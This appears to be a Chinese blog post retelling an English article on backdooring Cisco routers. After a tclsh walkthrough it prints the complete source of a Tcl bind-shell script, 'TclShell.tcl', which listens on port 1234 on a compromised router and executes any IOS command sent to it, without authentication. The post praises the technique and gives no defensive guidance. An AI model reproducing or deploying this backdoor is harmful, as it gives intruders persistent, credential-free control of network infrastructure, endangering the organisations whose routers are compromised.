Attacking Cisco Router over TCL

 

今天逛国外站发现了一篇攻击Cisco路由器留后门的方法,虽然一年多没玩Cisco了,平时工作也用不到这东西,但是对Cisco还是那么热爱,呵呵!进入正题,这是一篇鸟语的文章,写的也不难,主要的意思就是拿到Cisco路由器的权限以后可以上传一个用TCL脚本语言写 的后门程序到设备里面,以后就可以无需路由器管理权限远程Telne进路由器了,灰常给力!关于TCL脚本语言相信CCIE Security级别的Cisco高级玩家都比较熟悉,反正我当年学CCNP的时候课程里面几乎没怎么提到TCL脚本,这东西在Cisco下是个灰常给力 的东西,可以帮助工程师完成很多蛋疼的活!例如:在设备上批量的去Ping一个IP地址段等操作。

1.写在前面的废话:

其实Cisco IOS 从12.3(2)T 开始就支持TCL脚本了,下面在7200路由器的12.4 IOS 来试验一下TCL脚本。

Router>
Router>enable
Router#tclsh
Router(tcl)#puts $tcl_version
8.3
Router(tcl)#package names
tbcload Tcl
Router(tcl)#info commands
tell socket subst open eof pwd glob list exec pid snmp_getone time eval lrange t
cl_trace fblocked lsearch gets case lappend proc break variable llength return l
insert snmp_getid error catch clock info split array if log_user fconfigure conc
at join lreplace snmp_setany source fcopy global switch snmp_getbulk update clos
e cd for file append format read package set binary namespace scan verify_signat
ure seek while flush after vwait snmp_getnext typeahead uplevel continue hostnam
e ios_config foreach rename fileevent regexp upvar unset encoding expr load regs
ub interp history puts incr lindex lsort string
Router(tcl)#

现在一条一条的解释上面的命令及其输出:

 

  1. 使用 enable 命令进入特权 EXEC 模式。
  2. 使用 tclsh 命令进入 Tcl Shell 命令行,现在可以输入 Tcl 指令了。
  3. 使用 puts $tcl_version 打印当前 Tcl 版本。puts 是 Tcl 指令,相当于 C 语言中的 printf,而 $tcl_version 是 Tcl 的一个公共变量。
  4. 使用 package names 命令列出当前系统中已安装的 Tcl 扩展。要注意的一个扩展是 tbcload,Tcl 源代码被 tclcompiler 编译加密为 *.tbc 文件后,需要用此扩展来解释执行。
  5. 使用 info commands 命令来列出当前 Tcl 解释器支持的关键字。可以看到 if、for、foreach 等循环指令,操作文件与目录的 file、open、seek、read 等指令,基本的数据结构 list、array、哈希表等,字符串操作与正则表达式等等都被支持。有这样的阵容,编写强大的、全功能的 Cisco Tcl 脚本将十分方便。

2.Cisco设备写TCL Shell方法:

 

TCL脚本后门语法高亮显示如下图:

Source Code 如下:

# TclShell.tcl v0.1 by Andy Davis, IRM 2007
#
# IRM accepts no responsibility for the misuse of this code
# It is provided for demonstration purposes only
proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock ” ”
puts $sock “————————————-”
puts $sock “TclShell v0.1 by Andy Davis, IRM 2007″
puts $sock “————————————-”
puts $sock ” ”
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock ” ”
puts $sock “Enter IOS command:”
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 1234
set sh [socket -server callback $port]
vwait var
close $sh

—————————-   I am 猥琐的分割线   —————————————-

3.写在最后的废话:

TCL脚本的确是个不错的东西,建议Cisco玩家们都学学,无论是CCNA也好,CCNP也好,这东西都会给工作带来很大帮助,想学的就猛击这里吧。

Attacking Cisco Router over TCL英文原文地址:http://www.sectechno.com/2010/11/07/attacking-cisco-router-over-tcl/

详细的写入TCL Shell英文原文介绍:http://www.irmplc.com/downloads/whitepapers/Creating_Backdoors_in_Cisco_IOS_using_Tcl.pdf

 

 

你可能感兴趣的:(职场,Cisco,休闲)